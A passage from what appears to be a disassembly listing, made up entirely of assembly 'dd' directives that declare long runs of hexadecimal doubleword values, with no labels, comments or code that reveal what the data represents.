		dd 734FD731h, 2271F00h,	700994B0h, 9F5B0018h, 7545851h
		dd 0D67D76C4h, 6361B0Eh, 68FB80F4h, 3931B9h, 3EBF7F0Fh
		dd 0E3D05CF0h, 105A7B00h, 0EE7774E7h, 9F2D0014h, 0FDA75B2h
		dd 26672C60h, 0B1406368h, 0EBB964h, 0EF118693h,	61B871FCh
		dd 2405DD7Eh, 432B13B7h, 8F91B400h, 3DA77Fh, 86A6788h
		dd 0FFA20DC1h, 3198EC1Fh, 9D78FB41h, 0E5CC265Ch, 51050FEFh
		dd 0FECEA266h, 20031120h, 0A400DF2Ah, 189175E1h, 207E57Ah
		dd 8812A779h, 0A080860Eh, 5C3596FAh, 5F552C00h,	0A227D7ABh
		dd 0F9A01FEh, 7DB52FE3h, 3E3FC46Dh, 17EF8300h, 0EDE1C105h
		dd 9D7B0012h, 4F65A632h, 0D400E0BAh, 17FE1928h,	1F02E3Fh
		dd 0F542F76Bh, 40261AF8h, 0BA82C98Ch, 6AEC602h,	0C37BD765h
		dd 9DE9D8E5h, 10AD00D6h, 0A87ECECCh, 22182C38h,	37CE3599h
		dd 8441F31Fh, 0A84013EBh, 0A0595E3Bh, 4806E180h, 0B10038A1h
		dd 34474586h, 83176F55h, 0DE0BE277h, 0BFD18038h, 9052E546h
		dd 4D760F20h, 756E70C4h, 0EA7981DFh, 30D5AD4Fh,	0A5E088B4h
		dd 9B6F4309h, 0F93480A9h, 0FE966E15h, 7D4E00C5h, 9235092Ch
		dd 0C0091651h, 219A99h,	0D4DF0AF3h, 5060E84h, 0E680DEB8h
		dd 0BC6DF864h, 0FC945628h, 0AA0E6E79h, 6029D841h, 9C97DD70h
		dd 7AA700C8h, 0AD3C73D1h, 9D00EAC1h, 7E016205h,	0C08C70h
		dd 0F611FF0Dh, 69603974h, 0E83F5C28h, 4BDD1404h, 0B20384A6h
		dd 24B020A0h, 7200572Dh, 0E799FF91h, 0F33AF852h, 0E0555ECh
		dd 0FB16E5D5h, 391D1041h, 702AE9D9h, 7F1F2B9Bh,	81DFCDFh
		dd 2550A007h, 0C800E8CAh, 3ADE4FB1h, 76BAF20Eh,	0C850036h
		dd 1D631670h, 9F009DA8h, 0E0D3ADCh, 75E54065h, 272C0F38h
		dd 0EF6A6998h, 0F1A00098h, 438B3D2Dh, 123ECF14h, 8E4800E8h
		dd 729DB7F8h, 0E921007Eh, 0DBBDA7C5h, 9B00DC33h, 1B076EA4h
		dd 0E7CA0828h, 3C9EFCF4h, 0BA1FBC0Ch, 0C25D802Dh, 3D63FFA1h
		dd 0E2802600h, 0EF984F09h, 0EB2D0038h, 0F8AD6073h, 1A7358FAh
		dd 0B5CDB200h, 0A180C033h, 18FB606Ch, 0A6FDDFC3h, 659C4600h
		dd 44B95FF8h, 64A30919h, 64802E92h, 86755E70h, 0E1379300h
		dd 0EA2D8BF6h, 958F006Ah, 4D52AAA5h, 0A004735h,	62E06E3Ch
		dd 992119h, 0C415778Ah,	0E98D6BC0h, 0BCDA7200h,	0F1D1945Ch
		dd 20260092h, 64A9931Eh, 48005321h, 0E1D66EFFh,	32996CBh
		dd 60D4D19Eh, 0A1B3BE27h, 0AB464988h, 7DF43900h, 0CE7A8AE5h
		dd 0F56600FDh, 24A0FE9Bh, 77F0B3E9h, 8F31C800h,	0F77A3879h
		dd 45E0083h, 6D2D5A53h,	414CFCB3h, 0EDA503B2h, 0AFCD22DFh
		dd 897A4AD0h, 0C3BA0F2Fh, 5D8060C8h, 7CB77B29h,	0C6A20500h
		dd 15AE415Fh, 7380A00Bh, 138F00ABh, 0CEB81AC8h,	4700D21Ch
		dd 74BED33Ah, 373BD31h,	3B6AA49Eh, 8DB0F110h, 3E00B086h
		dd 0FA9888E3h, 3BCEFCD4h, 1380ACBDh, 172A8C51h,	0CB5CEEE4h
		dd 9C95004Dh, 91EAD279h, 0F84F00E1h, 715E1A06h,	0A21E5BE3h
		dd 26C0D328h, 0C7B0C53Ch, 0FA070F65h, 5A2077A7h, 9E6FDC0Ch
		dd 0E3D4E38h, 7F730B25h, 0E770A30Eh, 0AE10E7DDh, 7792BEh
		dd 0ACEB3572h, 40F94195h, 514DBEA0h, 1100AF75h,	0D56B7DE8h
		dd 7F60B18Ch, 74350E75h, 9D60AA36h, 0D229AB27h,	12A9E100h
		dd 81C03D7Fh, 2D850031h, 37ECCA1Fh, 560097D3h, 72A9F16Eh
		dd 795EB9D5h, 2AB3009Ch, 43B21FDEh, 4D7B1266h, 6838852Ch
		dd 20B5550Fh, 807ED44Fh, 63CB00F8h, 0AF9A5B17h,	0D107213Eh
		dd 0CD9E2CA4h, 893B90C0h, 643039E0h, 6B7F8500h,	202CC88Fh
		dd 4311E600h, 0FA7B9BEDh, 285E00B8h, 4CF94947h,	0C4000FDDh
		dd 39669D42h, 57151Bh, 0FEA7A583h, 0F27BCED9h, 0D0031E71h
		dd 12DA746Fh, 0D27DF828h, 5FA900FCh, 65B2800Ah,	5A028B4Bh
		dd 0A5596A51h, 63104008h, 0E25F00BBh, 9DC86BB9h, 5700228Ch
		dd 44AEC38Ah, 0EA45AD01h, 0B8038F5h, 5D90C100h,	0F34E9F36h
		dd 0A68780Ch, 7FE124h, 0BCE102C8h, 0FEE418A5h, 101D5B24h
		dd 93C9B5C0h, 40606E24h, 0E0E3F927h, 35FFD566h,	46001D7Ch
		dd 0A75EBB7Ch, 7596A94Dh, 384F3B5Ah, 0A8CEDC80h, 1E17C1C9h
		dd 19B64C03h, 900224FBh, 5C7116FAh, 10006F90h, 0B0DFF1ECh
		dd 0D400918Eh, 6F6942A0h, 0D5D6A2h, 0C2C7BC57h,	0BE73852Bh
		dd 74762601h, 4111B409h, 2D18ED0h, 25F40A7Eh, 0FEC05179h
		dd 0DFF637CFh, 0E6B1831Ch, 0DC7EE88Ah, 4E06407h, 0D13F8DE0h
		dd 1E9081h, 0ABC44A5Ch,	5938DA2Eh, 0A991F300h, 5F45B119h
		dd 0F0735C11h, 7700E33Dh, 448D17D2h, 8B0A6C62h,	0DC96DE30h
		dd 3F20CE80h, 0AB08592h, 7A36653Bh, 0E88939C8h,	0B001982Ah
		dd 0D42E24C1h, 0CA009F5Ch, 0ABF67240h, 9D55A8Ch, 92BE6B6h
		dd 0A442009Fh, 92DA1018h, 2BD07D05h, 0EC0E2965h, 0B0408234h
		dd 424B40F5h, 445F40Eh,	9EA35E3h, 205890D8h, 0B20FEE1Ch
		dd 0A7A34969h, 0D6B09854h, 1FC82704h, 0C0A04894h, 0E48A8CD7h
		dd 0F8000E68h, 1D673598h, 7BBB69h, 5BDEB58Eh, 9553B770h
		dd 3440FD0Ch, 1D2D3EECh, 0C0B0DD64h, 16EF1839h,	35036538h
		dd 0F3ED2F5Fh, 674D90C4h, 82D0034Bh, 4CAF766Eh,	8FA63BC0h
		dd 781BF200h, 0E0D50ABCh, 0E90107DCh, 0C11CA949h, 20772473h
		dd 9A2D3500h, 0C7D6E3h,	985ED2B3h, 0C8F45B79h, 0C54ED00h
		dd 7FCC1A21h, 0B8CE0433h, 0C049D8B3h, 3B603ACFh, 8DDD98C4h
		dd 72B75841h, 86589E3Dh, 21DBC970h, 5DA400CEh, 3B117166h
		dd 40E1702Fh, 2755C8B4h, 0AE3FEC07h, 74FC4B58h,	57F658FBh
		dd 0F984EB00h, 2D8909B0h, 3EBEEC00h, 8EC93387h,	96C33B1Bh
		dd 0C263ED8Eh, 44C09543h, 0AC835182h, 4E03058h,	78038A12h
		dd 0ABBFFAA1h, 0B5F598D2h, 251B00DCh, 0F129EC3h, 0CF001CD7h
		dd 0FF4A9D20h, 998C8Bh,	2E0A2247h, 0DBDA12Fh, 1A9F1200h
		dd 0E4890B0Fh, 988E982Ch, 4EB00309h, 0FE367C66h, 203779E1h
		dd 0E6094758h, 5D0210Ah
		dd 0CC80D341h, 3B527563h, 0E00C192h, 251C3022h,	0E9B02CC2h
		dd 0FAD9FD3Fh, 0F979D301h, 0BBB6036Bh, 35DDF70h, 0B87BE5DDh
		dd 0B7D842D6h, 0E4005A3Eh, 0F7D107C3h, 499EA98h, 0ECCB9BBEh
		dd 9C38C0A6h, 0D4E0B9E6h, 0C497E900h, 0F5829A27h, 80BD016Dh
		dd 790D8CCEh, 8453EC52h, 35EEC226h, 9DC0EF00h, 7BCE308Ah
		dd 0E21400F6h, 9C6EFA8Dh, 0C8039581h, 12DC8B82h, 0CE649002h
		dd 0C30C017Ch, 20277045h, 94E5C48Dh, 7D8C0901h,	0FD02775Eh
		dd 0A6D44AF9h, 913D1C3Fh, 0DC00FBB3h, 7947FE18h, 5138698Bh
		dd 0E47E809Bh, 806EA09Ah, 0D2F5004Ah, 0EAA4771Eh, 7D0FCF17h
		dd 0A0D352C3h, 53A79E30h, 7B0B003Ch, 66DD98C6h,	0A500E295h
		dd 48E6DAFCh, 0FAC0B7h,	5433CD39h, 2FB15817h, 5CCB4Ch
		dd 0AE9EE394h, 0E14AFFDh, 2AAD0350h, 8A0BEEEFh,	23091C20h
		dd 0A4007F2Eh, 5D88C42Fh, 91A675h, 45CB293Fh, 0F7E3EC6h
		dd 0B8EF2809h, 0EA7800BEh, 79A43DAh, 0F5622D3Fh, 29C70041h
		dd 4604BDC5h, 5FC344A6h, 0D945E3C0h, 0D5C1001Dh, 93D7FFBFh
		dd 0F600DDA8h, 98DB3BFAh, 1C5384Ah, 648BBBD9h, 8915970Eh
		dd 80806A60h, 2BB5236Ch, 41523A48h, 77F73h, 0F072026Fh
		dd 36DDF361h, 0F50B0900h, 8CC84DBCh, 584733AFh,	2A068D4h
		dd 4BB88A86h, 4CB9F100h, 0DC815C05h, 0B241384h,	4B100401h
		dd 9DD94392h, 0F236A0EFh, 626002C1h, 189EFA78h,	0B490E043h
		dd 0D6041C77h, 0E63E0D89h, 0B5D6480h, 3DD401BDh, 61F6E323h
		dd 8FC08083h, 4ECA1963h, 0D7360098h, 107DE974h,	5100DA5Bh
		dd 0C6CD5D31h, 0B0947562h, 0C41200D8h, 8108F756h, 3607DB2Fh
		dd 855E2D93h, 0A29528F0h, 0A65F0027h, 0D1CB1D03h, 0CE003DFAh
		dd 29D00584h, 0B3C492Dh, 6FEB95A0h, 0A4158A8Fh,	2E17824Ch
		dd 0B234001Dh, 32E53BAFh, 96CC0430h, 8BEFF5h, 0B0DC064Eh
		dd 3B3DC2AEh, 302D051Dh, 51E8FAC0h, 67C1DD9Fh, 93E310CAh
		dd 40BC4A84h, 60FB5BDAh, 7DC7035Dh, 40A84EFCh, 0BF5C503Fh
		dd 3A9C1587h, 1B187488h, 5B988C01h, 80206017h, 370E7885h
		dd 64AD3Bh, 8B690908h, 7EB45D19h, 3F1700F4h, 6AB09331h
		dd 2400232Fh, 6C7361BFh, 268280h, 0A1D44AD0h, 2538913h
		dd 5A05903h, 0A03A7518h, 0E05FD316h, 518F0147h,	0EE4AB07Ah
		dd 351CFCDFh, 0A36A58h,	693C5A65h, 1B179CFh, 0EF7B9991h
		dd 80F1FE15h, 0D0195FB8h, 0A59A5Ch, 0EB912F43h,	47DD05AFh
		dd 0B5BD27Dh, 7820F0h, 71D45E84h, 0AD6712DBh, 8886081Ch
		dd 3548BE58h, 8BE907F3h, 519D8DB7h, 0FDF0DA84h,	0B911849Eh
		dd 68C07E85h, 7DE1B0Ch,	9530BA01h, 0EB6FC05Fh, 790A0302h
		dd 80BE1C11h, 0C9CA1506h, 5CFA00C0h, 4D2331B7h,	5003EF2Eh
		dd 0A3FBBDEEh, 0ABE5C887h, 0DBBF00ACh, 6214FD6Ch, 0BA0049F7h
		dd 9AB894E0h, 12572EC6h, 0C88981Ah, 0B6F14A84h,	92AE25h
		dd 0CD820B08h, 21FD0207h, 3CBD0362h, 8D4E3048h,	7DDA3700h
		dd 6CD19978h, 4A7E00DCh, 0F6FF090Bh, 0E51D6539h, 0D2406E4Fh
		dd 94156F76h, 4FC0117h,	0EC23CC1h, 1CC8D79Eh, 0D0DEAF34h
		dd 250B4840h, 2C20EB04h, 0B8186Eh, 4DB4C282h, 0F12A099h
		dd 130B2314h, 80B48033h, 1F204FB5h, 4D1CAC32h, 17A1A4FBh
		dd 0C688D0A8h, 670096E0h, 0A7F67432h, 2DE3A2h, 0AA1EABE8h
		dd 73C2F145h, 0D8F9612Eh, 247EC500h, 174637E2h,	37D1172h
		dd 0F6C9B02Ch, 4941201Fh, 0E0485854h, 52694Fh, 0B6DADD84h
		dd 0BEA0D91Fh, 0B4F0C603h, 9DA43Dh, 60F37D69h, 0AEDBA58Ah
		dd 948ECB00h, 0F13C412Bh, 721F3E02h, 853ED80h, 0B950D65Ah
		dd 0F76B3Ah, 0A6712640h, 392BE170h, 481B1C2h, 30D22346h
		dd 0D0B2E852h, 32557207h, 9E409FA5h, 397093BAh,	6D84EF06h
		dd 0C0998DFBh, 9DF03C16h, 81C0093Ch, 162D2A19h,	0D8ECDB9Ch
		dd 8E24000Bh, 0AB1118BBh, 5C774625h, 0B99F7001h, 14DB223Ch
		dd 7870342Ch, 0A00B054Bh, 0BE65EDF1h, 8A50BB80h, 437CBDh
		dd 76CD1FFCh, 7EEBD3E0h, 0D2DE3500h, 0CF06BAF1h, 9216003Ch
		dd 0E13D545Ch, 78003386h, 72357C64h, 70AC5AA6h,	0D2B5004Dh
		dd 7FE54307h, 90049BBh,	0F17E8341h, 0D7863h, 0E0FEC417h
		dd 7FD1069Ch, 0BA87F300h, 0B08AD3F0h, 0E97E61h,	66F55F3Bh
		dd 90E7F94Fh, 0E382BC00h, 0C2335211h, 70633B8Dh, 0E92E8E8Ch
		dd 0EEF9AE60h, 2AA460FFh, 16FA0062h, 0C89AC20Ah, 0D003149h
		dd 0AF9F1E3Fh, 0FF66E2h, 0A380548Ch, 0CA4D0B25h, 0B099F501h
		dd 2FE64FBCh, 1C559E4h,	0BBC9CB33h, 0F1787189h,	4849FCD8h
		dd 0A080A900h, 546A9B22h, 0B4DD0039h, 0A5E5B0E7h, 1B003121h
		dd 0D716D228h, 1137E12h, 0E7CC4CFFh, 0D4295F83h, 0B7059F3Eh
		dd 141A97C2h, 550DDEC0h, 96570973h, 680165A0h, 20AE59E7h
		dd 0A7003FB4h, 9C87DA66h, 132DE30h, 5C6911A4h, 604DB9E2h
		dd 0C3006703h, 16DDA112h, 5AB5A2h, 0C6A54147h, 0CB8B338Eh
		dd 42181900h, 98F90701h, 276500B2h, 0F00DC251h,	0D10017A2h
		dd 2D22304Eh, 175F7E9Dh, 5E20DDCCh, 96DA4324h, 280BA899h
		dd 80AA2D82h, 0CAA52C16h, 0D662014Fh, 0DC760F57h, 0C982006h
		dd 0B7731700h, 5C3A41E7h, 0CB94D89h, 32689B04h,	4F4F0F6h
		dd 0FCA1AB09h, 60049AE2h, 73AAD884h, 1D70B0F3h,	0C2EB9D7Ah
		dd 27DA98C2h, 6D105CC8h, 0BA58D514h, 2C4A03A4h,	0D0FCFB1Ch
		dd 7104D7F3h, 38E10427h, 19FBC93h, 0E23E74Ch, 5EC69D4h
		dd 0B15DB19h, 0CDA48371h, 0F287682Ch, 0A6EE7702h, 0F2196006h
		dd 0B18C305Bh, 8390DD40h, 4B5E620Eh, 8E164751h,	9030A69Ah
		dd 0F21CA231h, 64930054h, 9632D812h, 9026747h, 0FBD54492h
		dd 2C8406Fh, 38630054h,	0A80C32A4h, 0CB00DE8Ch,	0A2C0570h
		dd 16B0727Fh, 0FEB219Bh, 2E8DFB48h, 488360A1h, 0D6E09D75h
		dd 64983426h, 0E91B5180h, 621743h, 31378082h, 35788116h
		dd 0DE00FEB8h, 0A621799Fh, 6DE58Ch, 11F458C2h, 13770763h
		dd 0B68B7300h, 0AD7A6F7Bh, 94460782h, 60E492F5h, 89DA88DFh
		dd 87D5E100h, 1F9EE33Dh, 0F80F0EA8h, 5875ED7h, 0D1A0109Ah
		dd 1400AE4Ch, 0D9CF9519h, 0DC1F2Fh, 85524681h, 5E86FD6Ah
		dd 0B6B948h, 2FE05D6Eh,	0A054C7h, 988A2EDAh, 2A3480E8h
		dd 9E5B423Fh, 8F004DFEh, 4B745053h, 0E8F495h, 0ABC2D5ACh
		dd 0DA62B77Bh, 0E5492800h, 86546BB8h, 5C560068h, 0FB085A97h
		dd 0BF006E0Ah, 49A64C88h, 1E732979h, 0F0BD7Fh, 8A71BCF6h
		dd 4700C590h, 9F2493ECh, 0B9F349h, 0B77ACF3Eh, 0A238ECDh
		dd 204C9A0Eh, 4954831Eh, 0BAFAF8DDh, 0B84F0076h, 0EEC7F82Ah
		dd 0CE012BFFh, 0E2CBA091h, 84509038h, 0A34B2Dh,	0D62A158Ah
		dd 0BA1BD0Eh, 668C6800h, 64E27D7Ah, 0BF4B00B4h,	53D5624h
		dd 1F0073FCh, 0CFBEAEAFh, 98FAA25Ch, 9DF750F8h,	0DF3128C8h
		dd 37390084h, 834D8E27h, 0A61EBFCDh, 73009BD0h,	0F3B47B50h
		dd 0DE8D3D7Ch, 0CC2ADF85h, 388F00A5h, 71E62FC0h, 36C78E00h
		dd 1BF8A826h, 17BD0020h, 777C89DBh, 2C01D3ACh, 73F34EE5h
		dd 0B5FC09E3h, 24790097h, 0B20EDE67h, 163A2080h, 121000BCh
		dd 2A18A8C0h, 0E96E4CEFh, 6C079139h, 3E75C9FBh,	0B4C38280h
		dd 60B5C093h, 2DCE19h, 0ED79795h, 77106F49h, 66A08E00h
		dd 2B752186h, 0C42A0073h, 56B89D08h, 0AA38972Dh, 0B3FD1F7Ch
		dd 444FD540h, 0ED93A976h, 48DFD440h, 0E1180060h, 1AA324E7h
		dd 91E054F6h, 9FFFD400h
		dd 252A850Fh, 15078B9h,	0AC4CE89Ch, 0D1531C81h,	91C2357h
		dd 0D57CF5h, 59E43B9Ch,	6F8C3FBAh, 81CC6C00h, 0E9246070h
		dd 0BC0B26E0h, 225CD84h, 0C0637D7Dh, 0E5F6C1h, 45293407h
		dd 8213E051h, 0C3147A00h, 0A89FC2A5h, 377F01A3h, 4C3DE24Dh
		dd 0C8EED860h, 0F97EF409h, 916801D0h, 0A2D8DF88h, 249C00C5h
		dd 0AAE4DAA6h, 613A0842h, 92BC07DEh, 1B804CF9h,	0FC53ADh
		dd 24AF74BEh, 31870923h, 88CFB0A0h, 632F7300h, 0DB3454A5h
		dd 655B3978h, 0F9053800h, 49F42914h, 0BD0086B0h, 220D7BCFh
		dd 0F81FCh, 2417F604h, 6DE71BB9h, 0A7D08813h, 7900C0F8h
		dd 0B02307B4h, 0AD00BC45h, 601487A9h, 7F378Eh, 0C6F99CB5h
		dd 0BB56CBCEh, 0D8906351h, 8E002534h, 5EC7814Fh, 7D0C8B1h
		dd 0D3E135F9h, 0CD62006Ch, 0DE002DE4h, 15E69893h, 24194478h
		dd 2C4135h, 3DA0267Eh, 4F00DC91h, 281E2393h, 0A1D0BDh
		dd 0C63F1FD2h, 7A73A321h, 0AC740500h, 4AF006B3h, 0FAB63C0Dh
		dd 0FBB48D02h, 1AC1771Ch, 860F2F8h, 1F24685Dh, 0C1879CE9h
		dd 9DA7DC06h, 0C275F90h, 0B20A0B9Eh, 81E2355Ah,	33BAC04h
		dd 0E0BA93D5h, 6D74C8h,	0B13AE065h, 9AF3CF51h, 38C43000h
		dd 83BA746h, 1E060033h,	0E9855BAh, 17003CCEh, 8C89CAE7h
		dd 3815447Dh, 0E43C867Bh, 0F9048302h, 94482319h, 0DA0F338Bh
		dd 4084C3B4h, 32DB943Ah, 0B8EB014Dh, 7BB5D63Fh,	0A2D8F4E9h
		dd 1855FB00h, 0CC0851B3h, 0AFF3008Ah, 7927FEF2h, 1304D615h
		dd 0DCA58CE5h, 4A461700h, 0DF01448Dh, 0C0095F86h, 0E770D58Bh
		dd 9FB50005h, 0B302F8C7h, 0E70A1941h, 945F344Fh, 7A35D200h
		dd 173BC3h, 6B8BE4FCh, 0D829689Fh, 33E4CA50h, 37099D76h
		dd 3225AE2h, 0EA386Ch, 96FF2E8Ah, 75EE6BD6h, 0D4667D00h
		dd 655663CDh, 0A8170094h, 2B62EB92h, 40121942h,	0C8007855h
		dd 0D9F3967Fh, 830F28F2h, 6AEE38B1h, 0F4EA1983h, 36A99BE0h
		dd 3DB120BDh, 0DE129F00h, 0F02BA2F3h, 0CF7A00C0h, 0AB759AF2h
		dd 39010DF9h, 0A646B104h, 0CDC4DD45h, 0B8F480h,	267FD9F8h
		dd 0DD69741h, 808B4C3Ch, 0DC43DD61h, 0C7C1F5F0h, 425F3AE0h
		dd 9BD451FAh, 3C00DA26h, 0EDE259C2h, 0F06D0011h, 0C4A767BBh
		dd 0A500512Dh, 0D38B1758h, 0B7E41Fh, 5039D407h,	14BBF780h
		dd 0C859DF3Dh, 6FB11254h, 171E0E00h, 3D1D6035h,	0B600A4B0h
		dd 3EDD59A6h, 0A300B4C0h, 0E5ECE09Ah, 0BF90B36h, 0D620E9ACh
		dd 3D5C3500h, 7A00A1DFh, 1B01F2A2h, 0EB78E5h, 56EAC5ACh
		dd 0D9159EE6h, 52FAC400h, 8A9727E0h, 0F8E8FDh, 0F0533208h
		dd 224B8146h, 0D1B7B900h, 8805C66Fh, 0EC073CF6h, 0C8B83100h
		dd 93D6299Dh, 8D813400h, 901FE4CFh, 7DE0052h, 4CB00F5Bh
		dd 8672BFE8h, 157B7600h, 0CE2D8310h, 0DE414C42h, 0E14B1400h
		dd 3BDD62BBh, 0E92E5E00h, 3075AD0Ch, 5409010Fh,	0D5719C6Ah
		dd 0CD35F8AFh, 29F4B212h, 35A2800h, 3E5DD48Ah, 92814104h
		dd 3E9B0556h, 9C9030EAh, 9000A4F4h, 9DB9694h, 19D38ECh
		dd 58CA6F6Ch, 0C4515E1Dh, 7D1E393Dh, 6DC241B0h,	0C04F5FC5h
		dd 0F7794h, 8902A4FDh, 7059171Bh, 21E82807h, 4EB09325h
		dd 0B02D80h, 1DF6AA0h, 370D77B1h, 8004F23Dh, 1E5CB543h
		dd 0EA364DFAh, 834400D3h, 225301CAh, 0DD0028F1h, 8EB2A05Fh
		dd 0ADD838h, 0CFD65795h, 4E175478h, 7D28D0Fh, 0A8B1C3E1h
		dd 41C79ABBh, 27C0CE3Ch, 0E80500D6h, 31E589D5h,	0ED26DE80h
		dd 410EFC2Bh, 7303E14Ch, 60EC99F0h, 0AF430094h,	0D311F68Fh
		dd 74003002h, 77233BE4h, 48931AC0h, 0FD053CB5h,	11D8B42h
		dd 0E9996D9Dh, 240461CEh, 0DA00BB94h, 115C7965h, 29048ACh
		dd 0F30681E7h, 0C740564Dh, 0F800AD13h, 96A8E61h, 2C65DD0Bh
		dd 0F00A72Eh, 33A77293h, 4369D12Bh, 73E07A2Fh, 30AD3C1Ch
		dd 0FEB43600h, 661585C1h, 0D3827400h, 0C4E5EE92h, 7A560013h
		dd 843116F4h, 7700E15Ah, 538BFFD5h, 0A4FBF9Fh, 0BE42341Fh
		dd 1FA1690h, 0ECD8E7FCh, 74C0F706h, 5113AA92h, 24004B64h
		dd 5DE27184h, 0F10100ACh, 0D576A20Bh, 0AB0EFD18h, 41DBBD95h
		dd 0E590FF99h, 0EBC030h, 0C27A728Eh, 0C17F5F93h, 4B55A602h
		dd 80911A6Eh, 80149D97h, 153EEC4h, 7F5AA83h, 0CB3B09B7h
		dd 0FC2D49D1h, 7F0A76F4h, 0A87046F2h, 0D64FB704h, 407542C2h
		dd 0D771ECh, 0F4B0632Eh, 29837B13h, 6CD228C0h, 5050314Ch
		dd 74E9CAh, 0D3DCFCB0h,	26340BD5h, 0B9F34700h, 64C80D42h
		dd 0FD611836h, 69569872h, 5A959300h, 90214951h,	3DEF0067h
		dd 16E58B6Eh, 0FC94CD0Ch, 8A845101h, 9BE4C310h,	0B0904Ah
		dd 28C615FCh, 0CED6266Bh, 350F0300h, 307EAE70h,	12CB0CAh
		dd 0C7A79C64h, 70F198E5h, 0A40025F0h, 964891E3h, 0BA334Ah
		dd 41C4A8B4h, 5CF0DE66h, 897B633Dh, 22C438Ah, 40D4CA42h
		dd 0FB641BA4h, 1352020h, 9A08FC9Ch, 0E3E37507h,	0CBF497A0h
		dd 6D134EE4h, 2C0E589Fh, 0F369E161h, 7EF87015h,	289080h
		dd 9BF61601h, 0C655120Bh, 0DB881112h, 0AC460701h, 0BACC6003h
		dd 7FB9981Dh, 0D71700CEh, 7DCCE991h, 0CF001F78h, 7E50CA63h
		dd 0A88CACh, 0BA56A0E2h, 0C5DA284Ch, 8393EF00h,	0EC816516h
		dd 0DFC023Bh, 0CC1395F8h, 0F5DA20A0h, 291CDC37h, 7C0F7B3h
		dd 2FC04320h, 460C2E6Bh, 648D0798h, 2AE700Ah, 1E6378F9h
		dd 0A8EC03C0h, 0B9A9331h, 40855589h, 0EA7A00FFh, 5C8AD2E8h
		dd 6500FC09h, 30E71213h, 2B00E1E0h, 90713734h, 23121DCh
		dd 0D20E575h, 9868AE14h, 9F00BA72h, 0BD0457D0h,	0BAABD810h
		dd 5130068h, 0ACA79479h, 3100C474h, 8F9C50B6h, 12F26C84h
		dd 0C03B234Fh, 0AADE6BA0h, 0C4E74B00h, 0B5DCA061h, 0A68704AEh
		dd 80F69E5Dh, 0DAF5FE3Ch, 190F1200h, 3B4F231h, 14533975h
		dd 2284FB00h, 7E15528Ch, 0E3C7BD01h, 0E635F13Fh, 5C17A8D4h
		dd 0F4034883h, 315C549Ah, 0AE2C21A0h, 81977800h, 0BE5614E5h
		dd 38B094h, 0B61361C0h,	89771DAAh, 5B377B01h, 2533EBE6h
		dd 42F03DF1h, 408B2CCh,	57AAA6CFh, 898CA00Eh, 690096E0h
		dd 0E7BA45D2h, 0F61743E6h, 93D03195h, 8627E60h,	6E9D0FF9h
		dd 8AA7DE98h, 27C571h, 5BA87DACh, 7915BEABh, 863086AAh
		dd 5926EEh, 498F7A5Ch, 34CAA7D6h, 41BC520Ah, 1700AC03h
		dd 0CCB80F94h, 58F103C9h, 2960909Ch, 9B8C395h, 0AC841CB8h
		dd 0F64C9200h, 0B3C2DBCh, 4BD0791h, 87AE69C0h, 88A0BE90h
		dd 0A8031B31h, 434C8E15h, 0CCC10084h, 0C0BA685Fh, 3A930C4Fh
		dd 39C05809h, 0A12FB014h, 0A05E00C0h, 6888BF6Ch, 814A008Dh
		dd 69EFBEFCh, 57240E6Bh, 66005C55h, 1A013DCDh, 8C380002h
		dd 0D01848ABh, 1B4D5FBBh, 0EAE601A8h, 0D7AF479Fh, 0E4339207h
		dd 2E275507h, 0ACA0B04Ah, 7529A003h, 0A8C6A663h, 12B05696h
		dd 1CCE49C5h, 1C5C2473h, 0FD688089h, 2BDFE28Ah,	0BB267926h
		dd 9CB5EB00h, 438F4C1h,	0C5F9D3E9h, 82908019h, 0B2F28148h
		dd 0E1354D00h, 6628A5A1h, 4416495Eh, 2380213Fh,	0ECAF4B2Ch
		dd 0CB02D849h, 1A14A7C8h, 3EF8FC1Eh, 0DD5C3F00h, 0A15DCAC0h
		dd 365EEB7Ch, 0BC0053F8h, 0D8D53967h, 85A09A3Bh, 0C6006EB5h
		dd 0B03DCCF3h, 7D5C2ADEh, 7AFD2EE0h, 0D6183A4h,	0E188155Dh
		dd 0F2024AC2h, 12513360h, 9E38C8D7h, 0E3720237h, 27367B1Bh
		dd 2B6218C8h, 442D3E09h, 0CAE822BCh, 44C15D5Bh,	0A110303Ch
		dd 0DFAE2507h, 7F609F2Ch
		dd 40FF257h, 45FBA4A6h,	65248151h, 638BC0CBh, 0C2F7A301h
		dd 9A4358EFh, 113F5ECh,	5BEE25A2h, 30B3BF3Ah, 12072C61h
		dd 0CBA4ADCAh, 0A7590360h, 1830F1B7h, 243FF69Dh, 8084129Ah
		dd 0C6AC93E0h, 6A3B5999h, 8B94804Ch, 4328EEF3h,	0EF400EBh
		dd 0F254F937h, 289AA25Ch, 3F1CB700h, 0EC5190E5h, 0FEE8242Dh
		dd 7D2B00E4h, 6A91438Ch, 8050CB4Ch, 15FB8180h, 4D5B72BDh
		dd 2C2660BAh, 8C054114h, 90C6844h, 0A054BC42h, 7926DD0Ch
		dd 2C81515Eh, 0D6C9C850h, 0EDF81F98h, 5D3C93A8h, 0CB944008h
		dd 0FAA0E14Fh, 0C37995E6h, 0D8A6008Ch, 93AD8034h, 5005899h
		dd 48176967h, 4A1CA1Ah,	6408C450h, 365C809Dh, 80268109h
		dd 2D844479h, 0FA203024h, 0D200C78Dh, 8C482AB7h, 0A87BF2h
		dd 271D0AFEh, 0A7ED79C9h, 0F5E69600h, 0D0F93573h, 12D000Bh
		dd 597419CAh, 47003A08h, 50C038A2h, 2448E971h, 0C4A8D2h
		dd 0FC0BF6DBh, 407D0CABh, 0F8D07501h, 9FCA0926h, 5C45A050h
		dd 498E0F35h, 48586879h, 871CC3F5h, 768F5026h, 0FE4A2058h
		dd 0D7C9E2h, 83682EEDh,	2522533Ch, 0B5439000h, 5AB76F13h
		dd 642D58D2h, 6C96203Fh, 4C7600D6h, 0AC50349Ah,	2DA48250h
		dd 3C404E4Eh, 23DA33F5h, 923B018Eh, 0C919EC1Ch,	30102578h
		dd 1F01666Eh, 99DF5D91h, 188009D1h, 1BE84F10h, 0B800896Bh
		dd 397EA3E9h, 0F9E30EAh, 0C09424Dh, 0A2DC9820h,	320E62D4h
		dd 0A028E874h, 7AE08566h, 143548FDh, 796C9D07h,	7B14E0C7h
		dd 2C0B87EFh, 89C327E8h, 917807E1h, 8B427730h, 0F880FAA8h
		dd 364E0F44h, 71807C11h, 99B5B01Dh, 0C9877000h,	0D50D1019h
		dd 16DA0461h, 0F0239414h, 0C303174Ch, 0CB4F920Eh, 305E91A6h
		dd 6972E0h, 3380ACDh, 4F9EFF84h, 83881500h, 0DE7CC1A0h
		dd 40CB48C9h, 4B53A500h, 0BE324D22h, 9B5B103h, 0B883FFF3h
